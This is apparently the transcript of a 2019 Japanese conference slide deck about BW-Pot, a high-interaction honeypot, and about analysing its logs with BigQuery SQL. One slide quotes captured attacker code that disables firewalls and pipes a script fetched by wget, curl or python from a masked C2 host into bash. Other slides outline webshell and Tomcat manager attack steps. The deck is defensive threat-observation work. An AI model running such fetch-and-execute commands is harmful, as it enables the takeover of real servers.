Upgrade to Pro — share decks privately, control downloads, hide ads and more …

高対話型ハニーポット 「BW-Pot」の紹介と、Google BigQuery & データポータルを使用した分析の話/Introduction of BW-Pot, BigQuery and DataPortal

graneed
March 09, 2019

高対話型ハニーポット 「BW-Pot」の紹介と、Google BigQuery & データポータルを使用した分析の話/Introduction of BW-Pot, BigQuery and DataPortal

2019年3月9日の第6回ハニーポッター技術交流会でLTした資料です。

第6回 ハニーポッター技術交流会
https://hanipo-tech.connpass.com/event/120318/

攻撃事例の詳細はこちら。
WebShell型ハニーポットを設置してWebShellに対するスキャンを観察した
https://graneed.hatenablog.com/entry/2019/01/23/000924

Tomcatの管理機能に対するパスワードクラック後の攻撃を観察する
https://graneed.hatenablog.com/entry/2019/02/15/090727

graneed

March 09, 2019
Tweet

More Decks by graneed

Other Decks in Technology

Transcript

  1. 4 ハニーポットの分類 コロナ社「実践サイバーセキュリティモニタリング」より ハニーポット 攻撃経路 インタラクション サーバ クライアント ハニートークン 高対話

    ハイブリッド 低対話 分類 低対話型と高対話型の比較 インタラクション 検知精度 情報収集 偽装性 スケーラビリ ティ 安全性 低対話型 低 低 低 高 高 高対話型 高 高 高 低 低 本LTで話すテーマ
  2. Google BigQueryでSQLを使用した分析 14 SELECT uri,request_body FROM `honeypot-log-analysis.log.nginx_access` WHERE time >=

    TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 24 HOUR) EXCEPT DISTINCT SELECT uri,request_body FROM `honeypot-log-analysis.log.nginx_access` WHERE time < TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 24 HOUR) ORDER BY uri,request_body 新種のリクエストを一覧表示するSQLの例 「24時間以内に着弾したリクエスト」から 「24時間より前のアクセスログに出現していないリクエスト」の、 差集合をとって表示。
  3. Google BigQueryでSQLを使用した分析 15 SELECT time, REGEXP_EXTRACT(uri, r'(?:\?|&)pma_username=([^&]+)') pma_username, REGEXP_EXTRACT(uri, r'(?:\?|&)pma_password=([^&]+)')

    pma_password FROM `honeypot-log-analysis.log.nginx_access` WHERE REGEXP_EXTRACT(uri, r'(?:\?|&)(?:pma_username|pma_password)=([^&]+)') IS NOT NULL UNION ALL SELECT time, REGEXP_EXTRACT(request_body, r'(?:^|&)pma_username=([^&]+)') pma_username, REGEXP_EXTRACT(request_body, r'(?:^|&)pma_password=([^&]+)') pma_password FROM `honeypot-log-analysis.log.nginx_access` WHERE REGEXP_EXTRACT(request_body, r'(?:^|&)(?:pma_username|pma_password)=([^&]+)') IS NOT NULL ORDER BY time DESC phpMyAdminにログイン試行された username/passwordを一覧表示するSQLの例 正規表現を使用して、URIのクエリパラメータから、 pma_usernameとpma_passwordを抽出して取得。 POSTデータからも同様に抽出し、和集合をとって表示
  4. 観察事例1.PHP 20 低対話型 で観測 ①POST /hoge.php  fuga=die(@md5(J4nur4ry)); 4df5791c3e09e5c7faa7b3ce35d9cd4b ②POST /hoge.php

     images.php設置リクエスト ③POST /images.php  a=just for fun&code=文字列出力コード(BASE64エンコード) Hello, Peppa! ④POST /images.php  a=just for fun&code=システム情報出力コード (BASE64エンコード) システム情報 ⑤POST /images.php  a=just for fun&code=攻撃コード(BASE64エンコード) C2サーバ通信& 任意シェル実行 高対話型で観測
  5. 観察事例1.PHP 攻撃コード抜粋 $PS='/etc/init.d/iptables stop; service iptables stop; SuSEfirewall2 stop; reSuSEfirewall2

    stop;'; echo(@execute($PS)?'success':'failed'); $PS='(wget -U "Mozilla/WGET" -q -O- http://XXX.XXX.XXX.XXX/Update/test/i.php || curl -A "Mozilla/CURL" -fsSL http://XXX.XXX.XXX.XXX/Update/test/i.php || python -c "from urllib2 import urlopen,Request; print(urlopen(Request(\'http://XXX.XXX.XXX.XXX/Update/test/i.php\', None,{\'User-Agent\':\'Mozilla/Python2\'})).read());" ) | /bin/bash'; die(@execute($PS)?'success':'failed'); ①Firewallの停止 ②C2サーバからシェルスクリプト取得して実行 (wget、curlまたはpythonのいずれかを使用) ① ②
  6. 観察事例2.Apache Tomcat 22 低対話型 で観測 ①パスワードクラック ②POST /admin-manager/admin.jsp  act=SI ③GET

    /manager/html  BASIC認証のID/Password ④WARファイルアップロード&デプロイ ⑥POST /admin-manager/admin.jsp  act=SH&p2=True&p1=攻撃コマンド(BASE64エンコード) C2サーバ通信& 任意シェル実行 高対話型で観測 認証OK ⑤POST /admin-manager/admin.jsp  act=SI システム情報
  7. まとめ 30 github :https://github.com/graneed/bwpot Blog :https://graneed.hatenablog.com/ →本日ご紹介した事例の詳細レポート記事もあります Twitter :@graneed111 高対話型のハニーポットを設置すると、

    攻撃者の生の動きを観察できます。 Google BigQuery・データポータルの組合せで、 ログデータを簡単かつ安価に可視化できます。 日々、観測した結果をハニーポットに フィードバックして機能強化し、 自分だけのハニーポットを育てていきましょう。